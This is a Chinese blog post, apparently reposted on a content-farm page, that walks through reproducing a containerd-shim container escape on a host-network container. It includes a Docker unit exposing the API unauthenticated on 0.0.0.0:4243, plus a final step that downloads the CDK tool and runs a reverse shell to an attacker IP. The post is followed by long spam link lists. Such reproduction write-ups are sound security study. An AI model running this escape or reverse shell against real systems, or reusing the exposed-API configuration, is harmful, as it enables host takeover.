当前位置： 首页 > news >正文 南海建设局网站上海市区网站设计制作公司 news 2025/11/2 6:45:23 南海建设局网站,上海市区网站设计制作公司,天河区营业执照在哪里办,上海企业注销一网通办一、产生原因 在版本1.3.9之前和1.4.0~1.4.2的Containerd中#xff0c;由于在网络模式为host的情况下#xff0c;容器与宿主机共享一套Network namespace #xff0c;此时containerd-shim API暴露给了用户#xff0c;而且访问控制仅仅验证了连接进程的有效UID为0#xff…一、产生原因 在版本1.3.9之前和1.4.0~1.4.2的Containerd中由于在网络模式为host的情况下容器与宿主机共享一套Network namespace 此时containerd-shim API暴露给了用户而且访问控制仅仅验证了连接进程的有效UID为0但没有限制对抽象Unix域套接字的访问刚好在默认情况下容器内部的进程是以root用户启动的。在两者的共同作用下容器内部的进程就可以像主机中的containerd一样连接containerd-shim监听的抽象Unix域套接字调用containerd-shim提供的各种API从而实现容器逃逸。 docker是使用namespace命名空间来实现隔离的当容器使用host模式时容器与宿主机共享一套Network namespace此时containerd-shim API暴露给了用户而containerd-shim通过OCI协议与RUNC通信执行命令 二、利用条件 1、Containerd版本在1.3.9之前 2、容器使用root用户和host网络模式运行 三、复现过程 1.下载18.09版本的docker环境 wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz tar xvpf docker-18.09.0.tgz sudo cp -p docker/* /usr/bin 2.配置docker.service文件 cat /lib/systemd/system/docker.service EOF [Unit] DescriptionDocker Application Container Engine Documentationhttp://docs.docker.com Afternetwork.target docker.socket [Service] Typenotify EnvironmentFile-/run/flannel/docker WorkingDirectory/usr/local/bin ExecStart/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabledfalse --log-opt max-size1g ExecReload/bin/kill -s HUP $MAINPID # Having non-zero Limit*s causes performance problems due to accounting overhead # in the kernel. We recommend using cgroups to do container-local accounting. LimitNOFILEinfinity LimitNPROCinfinity LimitCOREinfinity # Uncomment TasksMax if your systemd version supports it. # Only systemd 226 and above support this version. #TasksMaxinfinity TimeoutStartSec0 # set delegate yes so that systemd does not reset the cgroups of docker containers Delegateyes # kill only the docker process, not all processes in the cgroup KillModeprocess Restarton-failure [Install] WantedBymulti-user.target EOF 启动docker systemctl daemon-reload systemctl restart docker 3.下载对应版本的containerd并安装 wget https://mirrors.aliyun.com/docker-ce/linux/ubuntu/dists/focal/pool/edge/amd64/containerd.io_1.3.7-1_amd64.deb?spma2c6h.25603864.0.0.18e876ccra9oTg dpkg -i containerd.io_1.3.7-1_amd64.deb 下载好后查看版本 4.下载容器并以host模式启动容器 下载容器 docker pull ubuntu:18.04 以host模式启动容器 docker run -it --nethost ubuntu:18.04 /bin/bash 5.反弹宿主机shell 进容器下载利用工具或者本机上下好传进去攻击机提前nc监听 wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz tar -zxvf cdk_v0.1.6_release.tar.gz ./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口] 成功拿到宿主机shell 文章转载自： http://www.morning.lqynj.cn.gov.cn.lqynj.cn http://www.morning.wcgcm.cn.gov.cn.wcgcm.cn http://www.morning.rwwdp.cn.gov.cn.rwwdp.cn http://www.morning.scjtr.cn.gov.cn.scjtr.cn http://www.morning.tqsgt.cn.gov.cn.tqsgt.cn http://www.morning.nxkyr.cn.gov.cn.nxkyr.cn http://www.morning.zljqb.cn.gov.cn.zljqb.cn http://www.morning.rqhbt.cn.gov.cn.rqhbt.cn http://www.morning.wmsgt.cn.gov.cn.wmsgt.cn http://www.morning.yhsrp.cn.gov.cn.yhsrp.cn http://www.morning.rtspr.cn.gov.cn.rtspr.cn http://www.morning.rkkh.cn.gov.cn.rkkh.cn http://www.morning.lyrgp.cn.gov.cn.lyrgp.cn http://www.morning.zlff.cn.gov.cn.zlff.cn http://www.morning.ppqzb.cn.gov.cn.ppqzb.cn http://www.morning.cgntj.cn.gov.cn.cgntj.cn http://www.morning.yrjym.cn.gov.cn.yrjym.cn http://www.morning.rttp.cn.gov.cn.rttp.cn http://www.morning.yrjfb.cn.gov.cn.yrjfb.cn http://www.morning.kdldx.cn.gov.cn.kdldx.cn http://www.morning.zlnkq.cn.gov.cn.zlnkq.cn http://www.morning.qrqg.cn.gov.cn.qrqg.cn http://www.morning.pzrrq.cn.gov.cn.pzrrq.cn http://www.morning.ymjrg.cn.gov.cn.ymjrg.cn http://www.morning.bxhch.cn.gov.cn.bxhch.cn http://www.morning.fykrm.cn.gov.cn.fykrm.cn http://www.morning.sdktr.com.gov.cn.sdktr.com http://www.morning.rrwft.cn.gov.cn.rrwft.cn http://www.morning.zryf.cn.gov.cn.zryf.cn http://www.morning.rscrj.cn.gov.cn.rscrj.cn http://www.morning.zmyzt.cn.gov.cn.zmyzt.cn http://www.morning.rddlz.cn.gov.cn.rddlz.cn http://www.morning.hrgxk.cn.gov.cn.hrgxk.cn http://www.morning.mqmxg.cn.gov.cn.mqmxg.cn http://www.morning.rxzcl.cn.gov.cn.rxzcl.cn http://www.morning.xjqhh.cn.gov.cn.xjqhh.cn http://www.morning.rjcqb.cn.gov.cn.rjcqb.cn http://www.morning.jrdbq.cn.gov.cn.jrdbq.cn http://www.morning.jpkhn.cn.gov.cn.jpkhn.cn http://www.morning.lbzgt.cn.gov.cn.lbzgt.cn http://www.morning.szoptic.com.gov.cn.szoptic.com http://www.morning.rsjng.cn.gov.cn.rsjng.cn http://www.morning.zlnmm.cn.gov.cn.zlnmm.cn http://www.morning.rzpkt.cn.gov.cn.rzpkt.cn http://www.morning.cypln.cn.gov.cn.cypln.cn http://www.morning.ghlyy.cn.gov.cn.ghlyy.cn http://www.morning.mqwnz.cn.gov.cn.mqwnz.cn http://www.morning.kpgft.cn.gov.cn.kpgft.cn http://www.morning.knscf.cn.gov.cn.knscf.cn http://www.morning.wjlhp.cn.gov.cn.wjlhp.cn http://www.morning.wqsjx.cn.gov.cn.wqsjx.cn http://www.morning.nhlyl.cn.gov.cn.nhlyl.cn http://www.morning.hffpy.cn.gov.cn.hffpy.cn http://www.morning.pmjw.cn.gov.cn.pmjw.cn http://www.morning.bnpn.cn.gov.cn.bnpn.cn http://www.morning.qqxmj.cn.gov.cn.qqxmj.cn http://www.morning.ycgrl.cn.gov.cn.ycgrl.cn http://www.morning.pqxjq.cn.gov.cn.pqxjq.cn http://www.morning.ldspj.cn.gov.cn.ldspj.cn http://www.morning.cttgj.cn.gov.cn.cttgj.cn http://www.morning.geledi.com.gov.cn.geledi.com http://www.morning.xqspn.cn.gov.cn.xqspn.cn http://www.morning.jnrry.cn.gov.cn.jnrry.cn http://www.morning.fkmrj.cn.gov.cn.fkmrj.cn http://www.morning.lqqqh.cn.gov.cn.lqqqh.cn http://www.morning.dhpjq.cn.gov.cn.dhpjq.cn http://www.morning.pxspq.cn.gov.cn.pxspq.cn http://www.morning.rkwlg.cn.gov.cn.rkwlg.cn http://www.morning.rgmls.cn.gov.cn.rgmls.cn http://www.morning.lhrwy.cn.gov.cn.lhrwy.cn http://www.morning.kpgms.cn.gov.cn.kpgms.cn http://www.morning.jmdpp.cn.gov.cn.jmdpp.cn http://www.morning.bhdtx.cn.gov.cn.bhdtx.cn http://www.morning.pwghp.cn.gov.cn.pwghp.cn http://www.morning.rmqlf.cn.gov.cn.rmqlf.cn http://www.morning.rxdsq.cn.gov.cn.rxdsq.cn http://www.morning.dmlgq.cn.gov.cn.dmlgq.cn http://www.morning.zrdqz.cn.gov.cn.zrdqz.cn http://www.morning.pfntr.cn.gov.cn.pfntr.cn http://www.morning.qrgfw.cn.gov.cn.qrgfw.cn 查看全文 http://www.tj-hxxt.cn/news/270192.html 相关文章： wordpress前端用户惠州百度seo哪里强 做一个网站得做多少个页面网站开发常用的语言和工具 项城网站自助网站建设厦门网站制作 淮安专业网站建设网站关键词优化报价 meetsh网站建设顺昌网站建设 如何查看网站的建设者海口网站建设的开发方案 梅州建站网络深圳东门动漫城 如何做网站建设方案Wordpress主题里的幻灯片怎么设置 建设网站的风险分析湖南营销型网站建设价格 桂林北站到两江机场有多远WordPress免插件添加公告 网站建设asp百度手机助手app安卓版官方下载 c#如何做公司网站东莞企业推广网站制作 毕业设计代做的网站考幼师证去哪个网站做试题 网站设计方案案例深圳外贸招聘 室内设计可以做网站吗网站注册怎么注销 东莞网站开发找谁seo优化找行者seo 温州模板建站代理贵州网站开发流程 人力网站建设的建议下载网站备案的核验单 网站建设的行业代码是多少网站信息系统建设 网站开发都用什么网站seo诊断方案 那个网站的公众后推广做的好wordpress 3.2 峰峰做网站济南微信网站建设 蓬莱建网站安徽伟诚建设工程有限公司网站 有哪些做外贸网站国际新闻头条最新消息 深圳龙华网站开发厦门市机场建设招投标网站 溧阳建设集团网站wordpress如何上传附件 怎么注册网站的步骤html5的网站设计与实现是做什么 焦作市网站建设科技seo报告 网站建设自优化资源配置 服务器网站建设情况公众号怎么推广产品
